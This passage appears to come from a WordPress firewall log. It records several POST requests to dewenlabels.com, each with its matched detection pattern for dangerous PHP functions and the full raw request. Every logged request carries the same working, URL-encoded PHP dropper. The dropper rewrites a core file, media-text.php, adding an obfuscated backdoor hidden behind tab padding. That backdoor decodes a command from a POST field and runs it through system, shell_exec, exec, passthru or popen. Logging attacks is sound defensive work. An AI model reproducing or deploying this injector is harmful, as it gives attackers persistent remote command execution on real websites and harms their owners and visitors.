20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 19:59:01","50.6.7.129","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> aT:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/media-text.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524task_processor6%2520%253D%2520%2522s%255Cx74%255Cx72%255Cx65%255Cx61m_%255Cx67%255Cx65t_%255Cx63o%255Cx6Etents%2522%253B%2520%2524buffer_cache%2520%253D%2520%2522%255Cx68ex2%255Cx62i%255Cx6E%2522%253B%2520%2524task_processor2%2520%253D%2520%2522%255Cx73he%255Cx6C%255Cx6C_%255Cx65x%255Cx65c%2522%253B%2520%2524task_processor4%2520%253D%2520%2522%255Cx70%255Cx61%255Cx73st%255Cx68ru%2522%253B%2520%2524task_processor3%2520%253D%2520%2522e%255Cx78e%255Cx63%2522%253B%2520%2524task_processor7%2520%253D%2520%2522p%255Cx63lo%255Cx73e%2522%253B%2520%2524task_processor5%2520%253D%2520%2522%255Cx70o%255Cx70en%2522%253B%2520%2524task_processor1%2520%253D%2520%2522%255Cx73ys%255Cx74%255Cx65m%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522t%255Cx6B%255Cx6E%2522%255D%2529%2529%2520%257B%2520function%2520core_engine%2528%2520%2524res%252C%2520%2524property_set%2520%2529%257B%2520%2524rec%2520%253D%2520%2527%2527%2520%253B%2520for%2528%2524r%253D0%253B%2520%2524r%253Cstrlen%2528%2524res%2529%253B%2520%2524r%252B%252B%2529%257B%2520%2524rec.%253Dchr%2528ord%2528%2524res%255B%2524r%255D%2529%255E%2524property_set%2529%253B%2520%257D%2520return%2520%2524rec%253B%2520%257D%2520%2524tkn%2520%253D%2520%2524buffer_cache%2528%2524_POST%255B%2522t%255Cx6B%255Cx6E%2522%255D%2529%253B%2520%2524tkn%2520%253D%2520core_engine%2528%2524tkn%252C%25203%2529%253B%2520if%2520%2528function_exists%2528%2524task_processor1%2529%2529%2520%257B%2520%2524task_processor1%2528%2524tkn%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524task_processor2%2529%2529%2520%257B%2520print%2520%2524task_processor2%2528%2524tkn%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524task_processor3%2529%2529%2520%257B%2520%2524task_processor3%2528%2524tkn%252C%2520%2524data_chunk_res%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524data_chunk_res%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524task_processor4%2529%2529%2520%257B%2520%2524task_processor4%2528%2524tkn%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524task_processor5%2529%2520%2526%2526%2520function_exists%2528%2524task_processor6%2529%2520%2526%2526%2520function_exists%2528%2524task_processor7%2529%2529%2520%257B%2520%2524property_set_rec%2520%253D%2520%2524task_processor5%2528%2524tkn%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524property_set_rec%2529%2520%257B%2520%2524descriptor_entry%2520%253D%2520%2524task_processor6%2528%2524property_set_rec%2529%253B%2520%2524task_processor7%2528%2524property_set_rec%2529%253B%2520print%2520%2524descriptor_entry%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvLIDvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz9vK2ywo252K2uuozEfMFV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-length:5306\naccept:*\/*\naccept-encoding:gzip,deflate\n\naT=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/media-text.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524task_processor6%2520%253D%2520%2522s%255Cx74%255Cx72%255Cx65%255Cx61m_%255Cx67%255Cx65t_%255Cx63o%255Cx6Etents%2522%253B%2520%2524buffer_cache%2520%253D%2520%2522%255Cx68ex2%255Cx62i%255Cx6E%2522%253B%2520%2524task_processor2%2520%253D%2520%2522%255Cx73he%255Cx6C%255Cx6C_%255Cx65x%255Cx65c%2522%253B%2520%2524task_processor4%2520%253D%2520%2522%255Cx70%255Cx61%255Cx73st%255Cx68ru%2522%253B%2520%2524task_processor3%2520%253D%2520%2522e%255Cx78e%255Cx63%2522%253B%2520%2524task_processor7%2520%253D%2520%2522p%255Cx63lo%255Cx73e%2522%253B%2520%2524task_processor5%2520%253D%2520%2522%255Cx70o%255Cx70en%2522%253B%2520%2524task_processor1%2520%253D%2520%2522%255Cx73ys%255Cx74%255Cx65m%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522t%255Cx6B%255Cx6E%2522%255D%2529%2529%2520%257B%2520function%2520core_engine%2528%2520%2524res%252C%2520%2524property_set%2520%2529%257B%2520%2524rec%2520%253D%2520%2527%2527%2520%253B%2520for%2528%2524r%253D0%253B%2520%2524r%253Cstrlen%2528%2524res%2529%253B%2520%2524r%252B%252B%2529%257B%2520%2524rec.%253Dchr%2528ord%2528%2524res%255B%2524r%255D%2529%255E%2524property_set%2529%253B%2520%257D%2520return%2520%2524rec%253B%2520%257D%2520%2524tkn%2520%253D%2520%2524buffer_cache%2528%2524_POST%255B%2522t%255Cx6B%255Cx6E%2522%255D%2529%253B%2520%2524tkn%2520%253D%2520core_engine%2528%2524tkn%252C%25203%2529%253B%2520if%2520%2528function_exists%2528%2524task_processor1%2529%2529%2520%257B%2520%2524task_processor1%2528%2524tkn%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524task_processor2%2529%2529%2520%257B%2520print%2520%2524task_processor2%2528%2524tkn%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524task_processor3%2529%2529%2520%257B%2520%2524task_processor3%2528%2524tkn%252C%2520%2524data_chunk_res%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524data_chunk_res%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524task_processor4%2529%2529%2520%257B%2520%2524task_processor4%2528%2524tkn%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524task_processor5%2529%2520%2526%2526%2520function_exists%2528%2524task_processor6%2529%2520%2526%2526%2520function_exists%2528%2524task_processor7%2529%2529%2520%257B%2520%2524property_set_rec%2520%253D%2520%2524task_processor5%2528%2524tkn%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524property_set_rec%2529%2520%257B%2520%2524descriptor_entry%2520%253D%2520%2524task_processor6%2528%2524property_set_rec%2529%253B%2520%2524task_processor7%2528%2524property_set_rec%2529%253B%2520print%2520%2524descriptor_entry%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 19:59:07","148.113.9.51","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> JP:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/media-text.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524task_processor6%2520%253D%2520%2522s%255Cx74%255Cx72%255Cx65%255Cx61m_%255Cx67%255Cx65t_%255Cx63o%255Cx6Etents%2522%253B%2520%2524buffer_cache%2520%253D%2520%2522%255Cx68ex2%255Cx62i%255Cx6E%2522%253B%2520%2524task_processor2%2520%253D%2520%2522%255Cx73he%255Cx6C%255Cx6C_%255Cx65x%255Cx65c%2522%253B%2520%2524task_processor4%2520%253D%2520%2522%255Cx70%255Cx61%255Cx73st%255Cx68ru%2522%253B%2520%2524task_processor3%2520%253D%2520%2522e%255Cx78e%255Cx63%2522%253B%2520%2524task_processor7%2520%253D%2520%2522p%255Cx63lo%255Cx73e%2522%253B%2520%2524task_processor5%2520%253D%2520%2522%255Cx70o%255Cx70en%2522%253B%2520%2524task_processor1%2520%253D%2520%2522%255Cx73ys%255Cx74%255Cx65m%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522t%255Cx6B%255Cx6E%2522%255D%2529%2529%2520%257B%2520function%2520core_engine%2528%2520%2524res%252C%2520%2524property_set%2520%2529%257B%2520%2524rec%2520%253D%2520%2527%2527%2520%253B%2520for%2528%2524r%253D0%253B%2520%2524r%253Cstrlen%2528%2524res%2529%253B%2520%2524r%252B%252B%2529%257B%2520%2524rec.%253Dchr%2528ord%2528%2524res%255B%2524r%255D%2529%255E%2524property_set%2529%253B%2520%257D%2520return%2520%2524rec%253B%2520%257D%2520%2524tkn%2520%253D%2520%2524buffer_cache%2528%2524_POST%255B%2522t%255Cx6B%255Cx6E%2522%255D%2529%253B%2520%2524tkn%2520%253D%2520core_engine%2528%2524tkn%252C%25203%2529%253B%2520if%2520%2528function_exists%2528%2524task_processor1%2529%2529%2520%257B%2520%2524task_processor1%2528%2524tkn%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524task_processor2%2529%2529%2520%257B%2520print%2520%2524task_processor2%2528%2524tkn%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524task_processor3%2529%2529%2520%257B%2520%2524task_processor3%2528%2524tkn%252C%2520%2524data_chunk_res%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524data_chunk_res%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524task_processor4%2529%2529%2520%257B%2520%2524task_processor4%2528%2524tkn%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524task_processor5%2529%2520%2526%2526%2520function_exists%2528%2524task_processor6%2529%2520%2526%2526%2520function_exists%2528%2524task_processor7%2529%2529%2520%257B%2520%2524property_set_rec%2520%253D%2520%2524task_processor5%2528%2524tkn%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524property_set_rec%2529%2520%257B%2520%2524descriptor_entry%2520%253D%2520%2524task_processor6%2528%2524property_set_rec%2529%253B%2520%2524task_processor7%2528%2524property_set_rec%2529%253B%2520print%2520%2524descriptor_entry%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvFyNvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyvLKAyK3Owo25hMJA0nJ9hVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\ncontent-length:5306\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-platform:\"macOS\"\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\nsec-fetch-dest:document\nsec-ch-ua-mobile:?0\nsec-fetch-user:?1\nhost:dewenlabels.com\nsec-fetch-mode:navigate\nsec-fetch-site:none\naccept:*\/*\naccept-encoding:gzip,deflate\n\nJP=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/media-text.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524task_processor6%2520%253D%2520%2522s%255Cx74%255Cx72%255Cx65%255Cx61m_%255Cx67%255Cx65t_%255Cx63o%255Cx6Etents%2522%253B%2520%2524buffer_cache%2520%253D%2520%2522%255Cx68ex2%255Cx62i%255Cx6E%2522%253B%2520%2524task_processor2%2520%253D%2520%2522%255Cx73he%255Cx6C%255Cx6C_%255Cx65x%255Cx65c%2522%253B%2520%2524task_processor4%2520%253D%2520%2522%255Cx70%255Cx61%255Cx73st%255Cx68ru%2522%253B%2520%2524task_processor3%2520%253D%2520%2522e%255Cx78e%255Cx63%2522%253B%2520%2524task_processor7%2520%253D%2520%2522p%255Cx63lo%255Cx73e%2522%253B%2520%2524task_processor5%2520%253D%2520%2522%255Cx70o%255Cx70en%2522%253B%2520%2524task_processor1%2520%253D%2520%2522%255Cx73ys%255Cx74%255Cx65m%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522t%255Cx6B%255Cx6E%2522%255D%2529%2529%2520%257B%2520function%2520core_engine%2528%2520%2524res%252C%2520%2524property_set%2520%2529%257B%2520%2524rec%2520%253D%2520%2527%2527%2520%253B%2520for%2528%2524r%253D0%253B%2520%2524r%253Cstrlen%2528%2524res%2529%253B%2520%2524r%252B%252B%2529%257B%2520%2524rec.%253Dchr%2528ord%2528%2524res%255B%2524r%255D%2529%255E%2524property_set%2529%253B%2520%257D%2520return%2520%2524rec%253B%2520%257D%2520%2524tkn%2520%253D%2520%2524buffer_cache%2528%2524_POST%255B%2522t%255Cx6B%255Cx6E%2522%255D%2529%253B%2520%2524tkn%2520%253D%2520core_engine%2528%2524tkn%252C%25203%2529%253B%2520if%2520%2528function_exists%2528%2524task_processor1%2529%2529%2520%257B%2520%2524task_processor1%2528%2524tkn%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524task_processor2%2529%2529%2520%257B%2520print%2520%2524task_processor2%2528%2524tkn%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524task_processor3%2529%2529%2520%257B%2520%2524task_processor3%2528%2524tkn%252C%2520%2524data_chunk_res%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524data_chunk_res%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524task_processor4%2529%2529%2520%257B%2520%2524task_processor4%2528%2524tkn%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524task_processor5%2529%2520%2526%2526%2520function_exists%2528%2524task_processor6%2529%2520%2526%2526%2520function_exists%2528%2524task_processor7%2529%2529%2520%257B%2520%2524property_set_rec%2520%253D%2520%2524task_processor5%2528%2524tkn%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524property_set_rec%2529%2520%257B%2520%2524descriptor_entry%2520%253D%2520%2524task_processor6%2528%2524property_set_rec%2529%253B%2520%2524task_processor7%2528%2524property_set_rec%2529%253B%2520print%2520%2524descriptor_entry%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 19:59:14","98.130.43.189","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/media-text.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524task_processor6%2520%253D%2520%2522s%255Cx74%255Cx72%255Cx65%255Cx61m_%255Cx67%255Cx65t_%255Cx63o%255Cx6Etents%2522%253B%2520%2524buffer_cache%2520%253D%2520%2522%255Cx68ex2%255Cx62i%255Cx6E%2522%253B%2520%2524task_processor2%2520%253D%2520%2522%255Cx73he%255Cx6C%255Cx6C_%255Cx65x%255Cx65c%2522%253B%2520%2524task_processor4%2520%253D%2520%2522%255Cx70%255Cx61%255Cx73st%255Cx68ru%2522%253B%2520%2524task_processor3%2520%253D%2520%2522e%255Cx78e%255Cx63%2522%253B%2520%2524task_processor7%2520%253D%2520%2522p%255Cx63lo%255Cx73e%2522%253B%2520%2524task_processor5%2520%253D%2520%2522%255Cx70o%255Cx70en%2522%253B%2520%2524task_processor1%2520%253D%2520%2522%255Cx73ys%255Cx74%255Cx65m%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522t%255Cx6B%255Cx6E%2522%255D%2529%2529%2520%257B%2520function%2520core_engine%2528%2520%2524res%252C%2520%2524property_set%2520%2529%257B%2520%2524rec%2520%253D%2520%2527%2527%2520%253B%2520for%2528%2524r%253D0%253B%2520%2524r%253Cstrlen%2528%2524res%2529%253B%2520%2524r%252B%252B%2529%257B%2520%2524rec.%253Dchr%2528ord%2528%2524res%255B%2524r%255D%2529%255E%2524property_set%2529%253B%2520%257D%2520return%2520%2524rec%253B%2520%257D%2520%2524tkn%2520%253D%2520%2524buffer_cache%2528%2524_POST%255B%2522t%255Cx6B%255Cx6E%2522%255D%2529%253B%2520%2524tkn%2520%253D%2520core_engine%2528%2524tkn%252C%25203%2529%253B%2520if%2520%2528function_exists%2528%2524task_processor1%2529%2529%2520%257B%2520%2524task_processor1%2528%2524tkn%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524task_processor2%2529%2529%2520%257B%2520print%2520%2524task_processor2%2528%2524tkn%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524task_processor3%2529%2529%2520%257B%2520%2524task_processor3%2528%2524tkn%252C%2520%2524data_chunk_res%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524data_chunk_res%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524task_processor4%2529%2529%2520%257B%2520%2524task_processor4%2528%2524tkn%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524task_processor5%2529%2520%2526%2526%2520function_exists%2528%2524task_processor6%2529%2520%2526%2526%2520function_exists%2528%2524task_processor7%2529%2529%2520%257B%2520%2524property_set_rec%2520%253D%2520%2524task_processor5%2528%2524tkn%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524property_set_rec%2529%2520%257B%2520%2524descriptor_entry%2520%253D%2520%2524task_processor6%2528%2524property_set_rec%2529%253B%2520%2524task_processor7%2528%2524property_set_rec%2529%253B%2520print%2520%2524descriptor_entry%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:5329\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-dest:document\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\nsec-fetch-user:?1\nsec-ch-ua-mobile:?0\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\nhost:dewenlabels.com\nsec-fetch-mode:navigate\nsec-fetch-site:none\naccept:*\/*\naccept-encoding:gzip,deflate\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/media-text.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524task_processor6%2520%253D%2520%2522s%255Cx74%255Cx72%255Cx65%255Cx61m_%255Cx67%255Cx65t_%255Cx63o%255Cx6Etents%2522%253B%2520%2524buffer_cache%2520%253D%2520%2522%255Cx68ex2%255Cx62i%255Cx6E%2522%253B%2520%2524task_processor2%2520%253D%2520%2522%255Cx73he%255Cx6C%255Cx6C_%255Cx65x%255Cx65c%2522%253B%2520%2524task_processor4%2520%253D%2520%2522%255Cx70%255Cx61%255Cx73st%255Cx68ru%2522%253B%2520%2524task_processor3%2520%253D%2520%2522e%255Cx78e%255Cx63%2522%253B%2520%2524task_processor7%2520%253D%2520%2522p%255Cx63lo%255Cx73e%2522%253B%2520%2524task_processor5%2520%253D%2520%2522%255Cx70o%255Cx70en%2522%253B%2520%2524task_processor1%2520%253D%2520%2522%255Cx73ys%255Cx74%255Cx65m%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522t%255Cx6B%255Cx6E%2522%255D%2529%2529%2520%257B%2520function%2520core_engine%2528%2520%2524res%25